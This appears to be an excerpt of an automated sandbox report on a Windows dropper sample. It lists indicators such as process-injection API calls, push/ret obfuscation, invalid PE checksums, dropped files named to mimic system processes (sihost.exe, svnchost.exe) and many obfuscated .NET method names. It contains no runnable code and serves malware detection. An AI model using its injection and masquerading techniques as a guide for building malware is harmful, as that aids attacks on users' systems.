Source: 33.2.explorer.exe.1f70000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: GNGDJ3tb6v0 System.AppDomain.Load(byte[])
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: _5jeiGaJZOlY System.AppDomain.Load(byte[])
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: _5jeiGaJZOlY
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: GNGDJ3tb6v0 System.AppDomain.Load(byte[])
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: _5jeiGaJZOlY System.AppDomain.Load(byte[])
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: _5jeiGaJZOlY
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Code function: 0_2_00007FF6D43317F0 rand,rand,malloc,rand,rand,rand,rand,malloc,rand,rand,rand,malloc,rand,rand,OpenProcess,rand,malloc,rand,rand,rand,rand,rand,malloc,rand,malloc,LoadLibraryA,GetProcAddress,rand,rand,rand,WriteProcessMemory,rand,rand,malloc,rand,rand,rand,CloseHandle,rand,malloc,rand,rand,rand,malloc,rand,rand,malloc,rand,rand,rand,malloc,rand,rand,rand,malloc,rand,rand,rand,malloc, 0_2_00007FF6D43317F0
PE file contains an invalid checksum
Source: sihost.exe.0.dr Static PE information: real checksum: 0xdc3b should be: 0x14c37
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Static PE information: real checksum: 0xdc3b should be: 0x14c37
PE file contains sections with non-standard names
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Static PE information: section name: .eh_fram
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Static PE information: section name: .xdata
Source: sihost.exe.0.dr Static PE information: section name: .eh_fram
Source: sihost.exe.0.dr Static PE information: section name: .xdata
Source: svnchost.exe.1.dr Static PE information: section name: .imrsiv
Source: svnchost.exe.1.dr Static PE information: section name: .didat
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FFD9B76D2A5 pushad ; iretd 5_2_00007FFD9B76D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FFD9B952238 push eax; ret 5_2_00007FFD9B952239
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FFD9B952316 push 8B485F94h; iretd 5_2_00007FFD9B95231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FFD9B77D2A5 pushad ; iretd 10_2_00007FFD9B77D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FFD9B969B7A push 4000009Bh; ret 10_2_00007FFD9B969BC1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FFD9B962316 push 8B485F93h; iretd 10_2_00007FFD9B96231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 14_2_00007FFD9B79D2A5 pushad ; iretd 14_2_00007FFD9B79D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 14_2_00007FFD9B982316 push 8B485F91h; iretd 14_2_00007FFD9B98231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 16_2_00007FFD9B78D2A5 pushad ; iretd 16_2_00007FFD9B78D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 16_2_00007FFD9B972316 push 8B485F92h; iretd 16_2_00007FFD9B97231B
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, dop4CyMtBLO.cs High entropy of concatenated method names: 'EtZKj9qcs460p1NbqcCwq5hLuqvu', 'Xjepa1KJM4l3sBdTYUZ13FHiHf2k', 'jPn4gk6ZDLu8HAFOOUcQvI70vxnl', 'na4oGyUcUoBjmVhZI1qtd8F0ZLHj'
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, cFgUskhv4Iw.cs High entropy of concatenated method names: 'kArtzNVEjaB', '_4TrGEgESr6o', 'EJ6FXdK10tB', 'exLXUS1w5uls8r5MIvK9Gj11rJK9CvW9YEgtebU1564ZExMa1PBNPMtsHbMqBRmde9u0Oasqptde5c8HCc6jcqFrAg9o7', 'PuGaCFBvbUZ8cpXf5uT7AaqQxMP4uf30dPKXgY0JCdLZAGZDx2mU5xsRwNDB8cfeUtmsEkYQiRE8mbsjvhnDUVKXJXALi', 'c0UtyOhshYB5VCmhnIt5qit7S3Y1oxIcnk6cmfsnFxorUDdT10ZU4A2dDAa7vEsyRPsZgWz1BBn7b8I5eyfrPTPKiJ6yO', 'ElrmPflXWg648DHILBz69bJA0tYE104rURTsazRFCLyRUtSSAKnVYzRvjuSxyqUvOXJfdCslzHutXqOn9BfhUl3mKiSev', 'qnE6e5V1BshJkPZwWIXXCrpR3W7jfBLApVBGDxjVfUUri8korJFSoz0SEfqsnn7FHKzIl9LQDrburwa82Lb2nhRoVmSR3', 'bhoP6ZRZTa8yjSykH9vQSFXAVRpp6czrY8b8GycaXMJTvPgfrzCjaJOxykecZphHRSh22cflCBgTZyZLqDk1w5mZe9eCw', 'ngyLFcwte1cCQ7dy8y4rOd66QyxjWKXsGWToQtmIHQily7DSitP0qjX9Y1TSVufxH1UZ1liohRypwutiiij9lM3KBSqLr'
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, 4pii8UzkilO4rmRf9wUZgL8XKPpzk2kydw6glTQH0z12aYLw3jLlXD3gXjyOP8uyxyFKx.cs High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'IHovADM1R23erlSn3elMPoFDw4aS', '_89gwYmCzVeGeAjWvaEcov43Xw93k', 'a0jKeZBmaTXLfIErfs8Rgkn2kC7O', 'bqBQ1Gtp2jf22DhjzPZLwFXkfL53'
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, qqyXkyO2SNe.cs High entropy of concatenated method names: 'LgXc33ID35b', 'J835Ww1tRWo', 'UOqT88aUEey', 'x4AJE5FkEVR', '_3xl0ivSFitqAfgPkfeIuHOasgJB1', '_9IMSOjNVR9MMV4E6uTMJIpX82tkP', 'f49d9SHyRGRropWq60teLs0L0Bi7', 'LwdJarJRI6ltxHnNjW1YW8WIaabK', 'UBOqayl7V10JgbWPtIIChFo3DyLS', 'awxEV2gDqyh5swhgQQKq6avEDyOG'
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, uOe1UFAkBer.cs High entropy of concatenated method names: 'b0IAlj5IAxK', 'I7wvhJPjLA5MO6efvK9Cos4KO9G1', 'AQntsc3Wzt1uMDv7QTUyZLLrtKQk', 'ANiUogc0ceWbWiKXeF8VJa62Ctfc', 'xxMd1nRsiScy7BdmltT0kmOQkL2Q'
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, 4I6EXwQECLj.cs High entropy of concatenated method names: 'KalhHJzzoPv', 'MCJGprphmEXx4PFBXEjAPjSAlxdQ', '_1vh6eol2pFfr2h3JUFgs5muEnjim', 'ZloDwWBI3N0DQkobcirBZfuy523E', 'HFBnE2dAT1aY6UD55zpmjyYkHWtL'
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, m3bwCv6XjQu.cs High entropy of concatenated method names: 'ZgF0yD9vcyi', 'GNGDJ3tb6v0', 'PxYHw7OWUak', 'VtvlZgXCJV4', '_3F32uMe8uHu', '_75BghxYNrij', 'gtZWcJ5SACQ', 'fLW3TOb0nOA', 'yDZE3Q0Ezhu', '_6vJEVKDHSwL'
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, MTGvqNmbPl5.cs High entropy of concatenated method names: 'Yl5aeartQqC', 'NcIzaYVg7Rz', 'kZp90NWG6Sl', 'sv043Busvf9', 'gZ4CIi5Xue19YIP60e2bTy0P1nwT', 'fDxcO9OpdHB68YOZJ58scl34EV6m', 'LggnoRMcX5qQvQDvW5VgXmaxDZus', 'jibWsaGjOuJgV4crzqjkDL4XoDKy', 'SUBvDysGGtfXwvJLf8mmOO5oIZd2', 'XShMVmZZTOQtUiA2EfZcwvegYvRf'
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, PBt6pVs0ftw.cs High entropy of concatenated method names: 'RO0GWWCppMv', '_2bRAzg2CoJ3', '_85ZKG7Rv91s', 'MPDs6zRJUfl', 'KLdE3oNVXTx', 'yzUaLo2xd7W', 'UdaUM77KYtD', 'NyLsFOCoS73', 'c5S4noyYlcw', 'kprkyHkHYbL'
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, EkyJsjgLqdm.cs High entropy of concatenated method names: '_5clXnEL6lYR', 'WcIzdGqunKV', '_8x6jcEmUjL0', 'P7bbVAPUkII', 'NezeTE2Ync5', 'iJW3KkPTvoM', 'D0BfvS1VH8f', 'F68NxN5j0SD', 'O804UcpFOIs', 'WXUjvvWQgws'
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, dop4CyMtBLO.cs High entropy of concatenated method names: 'EtZKj9qcs460p1NbqcCwq5hLuqvu', 'Xjepa1KJM4l3sBdTYUZ13FHiHf2k', 'jPn4gk6ZDLu8HAFOOUcQvI70vxnl', 'na4oGyUcUoBjmVhZI1qtd8F0ZLHj'
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, cFgUskhv4Iw.cs High entropy of concatenated method names: 'kArtzNVEjaB', '_4TrGEgESr6o', 'EJ6FXdK10tB', 'exLXUS1w5uls8r5MIvK9Gj11rJK9CvW9YEgtebU1564ZExMa1PBNPMtsHbMqBRmde9u0Oasqptde5c8HCc6jcqFrAg9o7', 'PuGaCFBvbUZ8cpXf5uT7AaqQxMP4uf30dPKXgY0JCdLZAGZDx2mU5xsRwNDB8cfeUtmsEkYQiRE8mbsjvhnDUVKXJXALi', 'c0UtyOhshYB5VCmhnIt5qit7S3Y1oxIcnk6cmfsnFxorUDdT10ZU4A2dDAa7vEsyRPsZgWz1BBn7b8I5eyfrPTPKiJ6yO', 'ElrmPflXWg648DHILBz69bJA0tYE104rURTsazRFCLyRUtSSAKnVYzRvjuSxyqUvOXJfdCslzHutXqOn9BfhUl3mKiSev', 'qnE6e5V1BshJkPZwWIXXCrpR3W7jfBLApVBGDxjVfUUri8korJFSoz0SEfqsnn7FHKzIl9LQDrburwa82Lb2nhRoVmSR3', 'bhoP6ZRZTa8yjSykH9vQSFXAVRpp6czrY8b8GycaXMJTvPgfrzCjaJOxykecZphHRSh22cflCBgTZyZLqDk1w5mZe9eCw', 'ngyLFcwte1cCQ7dy8y4rOd66QyxjWKXsGWToQtmIHQily7DSitP0qjX9Y1TSVufxH1UZ1liohRypwutiiij9lM3KBSqLr'
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, 4pii8UzkilO4rmRf9wUZgL8XKPpzk2kydw6glTQH0z12aYLw3jLlXD3gXjyOP8uyxyFKx.cs High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'IHovADM1R23erlSn3elMPoFDw4aS', '_89gwYmCzVeGeAjWvaEcov43Xw93k', 'a0jKeZBmaTXLfIErfs8Rgkn2kC7O', 'bqBQ1Gtp2jf22DhjzPZLwFXkfL53'
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, qqyXkyO2SNe.cs High entropy of concatenated method names: 'LgXc33ID35b', 'J835Ww1tRWo', 'UOqT88aUEey', 'x4AJE5FkEVR', '_3xl0ivSFitqAfgPkfeIuHOasgJB1', '_9IMSOjNVR9MMV4E6uTMJIpX82tkP', 'f49d9SHyRGRropWq60teLs0L0Bi7', 'LwdJarJRI6ltxHnNjW1YW8WIaabK', 'UBOqayl7V10JgbWPtIIChFo3DyLS', 'awxEV2gDqyh5swhgQQKq6avEDyOG'
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, uOe1UFAkBer.cs High entropy of concatenated method names: 'b0IAlj5IAxK', 'I7wvhJPjLA5MO6efvK9Cos4KO9G1', 'AQntsc3Wzt1uMDv7QTUyZLLrtKQk', 'ANiUogc0ceWbWiKXeF8VJa62Ctfc', 'xxMd1nRsiScy7BdmltT0kmOQkL2Q'
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, 4I6EXwQECLj.cs High entropy of concatenated method names: 'KalhHJzzoPv', 'MCJGprphmEXx4PFBXEjAPjSAlxdQ', '_1vh6eol2pFfr2h3JUFgs5muEnjim', 'ZloDwWBI3N0DQkobcirBZfuy523E', 'HFBnE2dAT1aY6UD55zpmjyYkHWtL'
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, m3bwCv6XjQu.cs High entropy of concatenated method names: 'ZgF0yD9vcyi', 'GNGDJ3tb6v0', 'PxYHw7OWUak', 'VtvlZgXCJV4', '_3F32uMe8uHu', '_75BghxYNrij', 'gtZWcJ5SACQ', 'fLW3TOb0nOA', 'yDZE3Q0Ezhu', '_6vJEVKDHSwL'
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, MTGvqNmbPl5.cs High entropy of concatenated method names: 'Yl5aeartQqC', 'NcIzaYVg7Rz', 'kZp90NWG6Sl', 'sv043Busvf9', 'gZ4CIi5Xue19YIP60e2bTy0P1nwT', 'fDxcO9OpdHB68YOZJ58scl34EV6m', 'LggnoRMcX5qQvQDvW5VgXmaxDZus', 'jibWsaGjOuJgV4crzqjkDL4XoDKy', 'SUBvDysGGtfXwvJLf8mmOO5oIZd2', 'XShMVmZZTOQtUiA2EfZcwvegYvRf'
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, PBt6pVs0ftw.cs High entropy of concatenated method names: 'RO0GWWCppMv', '_2bRAzg2CoJ3', '_85ZKG7Rv91s', 'MPDs6zRJUfl', 'KLdE3oNVXTx', 'yzUaLo2xd7W', 'UdaUM77KYtD', 'NyLsFOCoS73', 'c5S4noyYlcw', 'kprkyHkHYbL'
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, EkyJsjgLqdm.cs High entropy of concatenated method names: '_5clXnEL6lYR', 'WcIzdGqunKV', '_8x6jcEmUjL0', 'P7bbVAPUkII', 'NezeTE2Ync5', 'iJW3KkPTvoM', 'D0BfvS1VH8f', 'F68NxN5j0SD', 'O804UcpFOIs', 'WXUjvvWQgws'
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, dop4CyMtBLO.cs High entropy of concatenated method names: 'EtZKj9qcs460p1NbqcCwq5hLuqvu', 'Xjepa1KJM4l3sBdTYUZ13FHiHf2k', 'jPn4gk6ZDLu8HAFOOUcQvI70vxnl', 'na4oGyUcUoBjmVhZI1qtd8F0ZLHj'
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, cFgUskhv4Iw.cs High entropy of concatenated method names: 'kArtzNVEjaB', '_4TrGEgESr6o', 'EJ6FXdK10tB', 'exLXUS1w5uls8r5MIvK9Gj11rJK9CvW9YEgtebU1564ZExMa1PBNPMtsHbMqBRmde9u0Oasqptde5c8HCc6jcqFrAg9o7', 'PuGaCFBvbUZ8cpXf5uT7AaqQxMP4uf30dPKXgY0JCdLZAGZDx2mU5xsRwNDB8cfeUtmsEkYQiRE8mbsjvhnDUVKXJXALi', 'c0UtyOhshYB5VCmhnIt5qit7S3Y1oxIcnk6cmfsnFxorUDdT10ZU4A2dDAa7vEsyRPsZgWz1BBn7b8I5eyfrPTPKiJ6yO', 'ElrmPflXWg648DHILBz69bJA0tYE104rURTsazRFCLyRUtSSAKnVYzRvjuSxyqUvOXJfdCslzHutXqOn9BfhUl3mKiSev', 'qnE6e5V1BshJkPZwWIXXCrpR3W7jfBLApVBGDxjVfUUri8korJFSoz0SEfqsnn7FHKzIl9LQDrburwa82Lb2nhRoVmSR3', 'bhoP6ZRZTa8yjSykH9vQSFXAVRpp6czrY8b8GycaXMJTvPgfrzCjaJOxykecZphHRSh22cflCBgTZyZLqDk1w5mZe9eCw', 'ngyLFcwte1cCQ7dy8y4rOd66QyxjWKXsGWToQtmIHQily7DSitP0qjX9Y1TSVufxH1UZ1liohRypwutiiij9lM3KBSqLr'
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, 4pii8UzkilO4rmRf9wUZgL8XKPpzk2kydw6glTQH0z12aYLw3jLlXD3gXjyOP8uyxyFKx.cs High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'IHovADM1R23erlSn3elMPoFDw4aS', '_89gwYmCzVeGeAjWvaEcov43Xw93k', 'a0jKeZBmaTXLfIErfs8Rgkn2kC7O', 'bqBQ1Gtp2jf22DhjzPZLwFXkfL53'
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, qqyXkyO2SNe.cs High entropy of concatenated method names: 'LgXc33ID35b', 'J835Ww1tRWo', 'UOqT88aUEey', 'x4AJE5FkEVR', '_3xl0ivSFitqAfgPkfeIuHOasgJB1', '_9IMSOjNVR9MMV4E6uTMJIpX82tkP', 'f49d9SHyRGRropWq60teLs0L0Bi7', 'LwdJarJRI6ltxHnNjW1YW8WIaabK', 'UBOqayl7V10JgbWPtIIChFo3DyLS', 'awxEV2gDqyh5swhgQQKq6avEDyOG'
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, uOe1UFAkBer.cs High entropy of concatenated method names: 'b0IAlj5IAxK', 'I7wvhJPjLA5MO6efvK9Cos4KO9G1', 'AQntsc3Wzt1uMDv7QTUyZLLrtKQk', 'ANiUogc0ceWbWiKXeF8VJa62Ctfc', 'xxMd1nRsiScy7BdmltT0kmOQkL2Q'
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, 4I6EXwQECLj.cs High entropy of concatenated method names: 'KalhHJzzoPv', 'MCJGprphmEXx4PFBXEjAPjSAlxdQ', '_1vh6eol2pFfr2h3JUFgs5muEnjim', 'ZloDwWBI3N0DQkobcirBZfuy523E', 'HFBnE2dAT1aY6UD55zpmjyYkHWtL'
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, m3bwCv6XjQu.cs High entropy of concatenated method names: 'ZgF0yD9vcyi', 'GNGDJ3tb6v0', 'PxYHw7OWUak', 'VtvlZgXCJV4', '_3F32uMe8uHu', '_75BghxYNrij', 'gtZWcJ5SACQ', 'fLW3TOb0nOA', 'yDZE3Q0Ezhu', '_6vJEVKDHSwL'
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, MTGvqNmbPl5.cs High entropy of concatenated method names: 'Yl5aeartQqC', 'NcIzaYVg7Rz', 'kZp90NWG6Sl', 'sv043Busvf9', 'gZ4CIi5Xue19YIP60e2bTy0P1nwT', 'fDxcO9OpdHB68YOZJ58scl34EV6m', 'LggnoRMcX5qQvQDvW5VgXmaxDZus', 'jibWsaGjOuJgV4crzqjkDL4XoDKy', 'SUBvDysGGtfXwvJLf8mmOO5oIZd2', 'XShMVmZZTOQtUiA2EfZcwvegYvRf'
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, PBt6pVs0ftw.cs High entropy of concatenated method names: 'RO0GWWCppMv', '_2bRAzg2CoJ3', '_85ZKG7Rv91s', 'MPDs6zRJUfl', 'KLdE3oNVXTx', 'yzUaLo2xd7W', 'UdaUM77KYtD', 'NyLsFOCoS73', 'c5S4noyYlcw', 'kprkyHkHYbL'
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, EkyJsjgLqdm.cs High entropy of concatenated method names: '_5clXnEL6lYR', 'WcIzdGqunKV', '_8x6jcEmUjL0', 'P7bbVAPUkII', 'NezeTE2Ync5', 'iJW3KkPTvoM', 'D0BfvS1VH8f', 'F68NxN5j0SD', 'O804UcpFOIs', 'WXUjvvWQgws'
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, dop4CyMtBLO.cs High entropy of concatenated method names: 'EtZKj9qcs460p1NbqcCwq5hLuqvu', 'Xjepa1KJM4l3sBdTYUZ13FHiHf2k', 'jPn4gk6ZDLu8HAFOOUcQvI70vxnl', 'na4oGyUcUoBjmVhZI1qtd8F0ZLHj'
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, cFgUskhv4Iw.cs High entropy of concatenated method names: 'kArtzNVEjaB', '_4TrGEgESr6o', 'EJ6FXdK10tB', 'exLXUS1w5uls8r5MIvK9Gj11rJK9CvW9YEgtebU1564ZExMa1PBNPMtsHbMqBRmde9u0Oasqptde5c8HCc6jcqFrAg9o7', 'PuGaCFBvbUZ8cpXf5uT7AaqQxMP4uf30dPKXgY0JCdLZAGZDx2mU5xsRwNDB8cfeUtmsEkYQiRE8mbsjvhnDUVKXJXALi', 'c0UtyOhshYB5VCmhnIt5qit7S3Y1oxIcnk6cmfsnFxorUDdT10ZU4A2dDAa7vEsyRPsZgWz1BBn7b8I5eyfrPTPKiJ6yO', 'ElrmPflXWg648DHILBz69bJA0tYE104rURTsazRFCLyRUtSSAKnVYzRvjuSxyqUvOXJfdCslzHutXqOn9BfhUl3mKiSev', 'qnE6e5V1BshJkPZwWIXXCrpR3W7jfBLApVBGDxjVfUUri8korJFSoz0SEfqsnn7FHKzIl9LQDrburwa82Lb2nhRoVmSR3', 'bhoP6ZRZTa8yjSykH9vQSFXAVRpp6czrY8b8GycaXMJTvPgfrzCjaJOxykecZphHRSh22cflCBgTZyZLqDk1w5mZe9eCw', 'ngyLFcwte1cCQ7dy8y4rOd66QyxjWKXsGWToQtmIHQily7DSitP0qjX9Y1TSVufxH1UZ1liohRypwutiiij9lM3KBSqLr'
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, 4pii8UzkilO4rmRf9wUZgL8XKPpzk2kydw6glTQH0z12aYLw3jLlXD3gXjyOP8uyxyFKx.cs High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'IHovADM1R23erlSn3elMPoFDw4aS', '_89gwYmCzVeGeAjWvaEcov43Xw93k', 'a0jKeZBmaTXLfIErfs8Rgkn2kC7O', 'bqBQ1Gtp2jf22DhjzPZLwFXkfL53'
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, qqyXkyO2SNe.cs High entropy of concatenated method names: 'LgXc33ID35b', 'J835Ww1tRWo', 'UOqT88aUEey', 'x4AJE5FkEVR', '_3xl0ivSFitqAfgPkfeIuHOasgJB1', '_9IMSOjNVR9MMV4E6uTMJIpX82tkP', 'f49d9SHyRGRropWq60teLs0L0Bi7', 'LwdJarJRI6ltxHnNjW1YW8WIaabK', 'UBOqayl7V10JgbWPtIIChFo3DyLS', 'awxEV2gDqyh5swhgQQKq6avEDyOG'
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, uOe1UFAkBer.cs High entropy of concatenated method names: 'b0IAlj5IAxK', 'I7wvhJPjLA5MO6efvK9Cos4KO9G1', 'AQntsc3Wzt1uMDv7QTUyZLLrtKQk', 'ANiUogc0ceWbWiKXeF8VJa62Ctfc', 'xxMd1nRsiScy7BdmltT0kmOQkL2Q'
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, 4I6EXwQECLj.cs High entropy of concatenated method names: 'KalhHJzzoPv', 'MCJGprphmEXx4PFBXEjAPjSAlxdQ', '_1vh6eol2pFfr2h3JUFgs5muEnjim', 'ZloDwWBI3N0DQkobcirBZfuy523E', 'HFBnE2dAT1aY6UD55zpmjyYkHWtL'
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, m3bwCv6XjQu.cs High entropy of concatenated method names: 'ZgF0yD9vcyi', 'GNGDJ3tb6v0', 'PxYHw7OWUak', 'VtvlZgXCJV4', '_3F32uMe8uHu', '_75BghxYNrij', 'gtZWcJ5SACQ', 'fLW3TOb0nOA', 'yDZE3Q0Ezhu', '_6vJEVKDHSwL'
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, MTGvqNmbPl5.cs High entropy of concatenated method names: 'Yl5aeartQqC', 'NcIzaYVg7Rz', 'kZp90NWG6Sl', 'sv043Busvf9', 'gZ4CIi5Xue19YIP60e2bTy0P1nwT', 'fDxcO9OpdHB68YOZJ58scl34EV6m', 'LggnoRMcX5qQvQDvW5VgXmaxDZus', 'jibWsaGjOuJgV4crzqjkDL4XoDKy', 'SUBvDysGGtfXwvJLf8mmOO5oIZd2', 'XShMVmZZTOQtUiA2EfZcwvegYvRf'
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, PBt6pVs0ftw.cs High entropy of concatenated method names: 'RO0GWWCppMv', '_2bRAzg2CoJ3', '_85ZKG7Rv91s', 'MPDs6zRJUfl', 'KLdE3oNVXTx', 'yzUaLo2xd7W', 'UdaUM77KYtD', 'NyLsFOCoS73', 'c5S4noyYlcw', 'kprkyHkHYbL'
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, EkyJsjgLqdm.cs High entropy of concatenated method names: '_5clXnEL6lYR', 'WcIzdGqunKV', '_8x6jcEmUjL0', 'P7bbVAPUkII', 'NezeTE2Ync5', 'iJW3KkPTvoM', 'D0BfvS1VH8f', 'F68NxN5j0SD', 'O804UcpFOIs', 'WXUjvvWQgws'
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, dop4CyMtBLO.cs High entropy of concatenated method names: 'EtZKj9qcs460p1NbqcCwq5hLuqvu', 'Xjepa1KJM4l3sBdTYUZ13FHiHf2k', 'jPn4gk6ZDLu8HAFOOUcQvI70vxnl', 'na4oGyUcUoBjmVhZI1qtd8F0ZLHj'
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, cFgUskhv4Iw.cs High entropy of concatenated method names: 'kArtzNVEjaB', '_4TrGEgESr6o', 'EJ6FXdK10tB', 'exLXUS1w5uls8r5MIvK9Gj11rJK9CvW9YEgtebU1564ZExMa1PBNPMtsHbMqBRmde9u0Oasqptde5c8HCc6jcqFrAg9o7', 'PuGaCFBvbUZ8cpXf5uT7AaqQxMP4uf30dPKXgY0JCdLZAGZDx2mU5xsRwNDB8cfeUtmsEkYQiRE8mbsjvhnDUVKXJXALi', 'c0UtyOhshYB5VCmhnIt5qit7S3Y1oxIcnk6cmfsnFxorUDdT10ZU4A2dDAa7vEsyRPsZgWz1BBn7b8I5eyfrPTPKiJ6yO', 'ElrmPflXWg648DHILBz69bJA0tYE104rURTsazRFCLyRUtSSAKnVYzRvjuSxyqUvOXJfdCslzHutXqOn9BfhUl3mKiSev', 'qnE6e5V1BshJkPZwWIXXCrpR3W7jfBLApVBGDxjVfUUri8korJFSoz0SEfqsnn7FHKzIl9LQDrburwa82Lb2nhRoVmSR3', 'bhoP6ZRZTa8yjSykH9vQSFXAVRpp6czrY8b8GycaXMJTvPgfrzCjaJOxykecZphHRSh22cflCBgTZyZLqDk1w5mZe9eCw', 'ngyLFcwte1cCQ7dy8y4rOd66QyxjWKXsGWToQtmIHQily7DSitP0qjX9Y1TSVufxH1UZ1liohRypwutiiij9lM3KBSqLr'
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, 4pii8UzkilO4rmRf9wUZgL8XKPpzk2kydw6glTQH0z12aYLw3jLlXD3gXjyOP8uyxyFKx.cs High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'IHovADM1R23erlSn3elMPoFDw4aS', '_89gwYmCzVeGeAjWvaEcov43Xw93k', 'a0jKeZBmaTXLfIErfs8Rgkn2kC7O', 'bqBQ1Gtp2jf22DhjzPZLwFXkfL53'
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, qqyXkyO2SNe.cs High entropy of concatenated method names: 'LgXc33ID35b', 'J835Ww1tRWo', 'UOqT88aUEey', 'x4AJE5FkEVR', '_3xl0ivSFitqAfgPkfeIuHOasgJB1', '_9IMSOjNVR9MMV4E6uTMJIpX82tkP', 'f49d9SHyRGRropWq60teLs0L0Bi7', 'LwdJarJRI6ltxHnNjW1YW8WIaabK', 'UBOqayl7V10JgbWPtIIChFo3DyLS', 'awxEV2gDqyh5swhgQQKq6avEDyOG'
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, uOe1UFAkBer.cs High entropy of concatenated method names: 'b0IAlj5IAxK', 'I7wvhJPjLA5MO6efvK9Cos4KO9G1', 'AQntsc3Wzt1uMDv7QTUyZLLrtKQk', 'ANiUogc0ceWbWiKXeF8VJa62Ctfc', 'xxMd1nRsiScy7BdmltT0kmOQkL2Q'
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, 4I6EXwQECLj.cs High entropy of concatenated method names: 'KalhHJzzoPv', 'MCJGprphmEXx4PFBXEjAPjSAlxdQ', '_1vh6eol2pFfr2h3JUFgs5muEnjim', 'ZloDwWBI3N0DQkobcirBZfuy523E', 'HFBnE2dAT1aY6UD55zpmjyYkHWtL'
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, m3bwCv6XjQu.cs High entropy of concatenated method names: 'ZgF0yD9vcyi', 'GNGDJ3tb6v0', 'PxYHw7OWUak', 'VtvlZgXCJV4', '_3F32uMe8uHu', '_75BghxYNrij', 'gtZWcJ5SACQ', 'fLW3TOb0nOA', 'yDZE3Q0Ezhu', '_6vJEVKDHSwL'
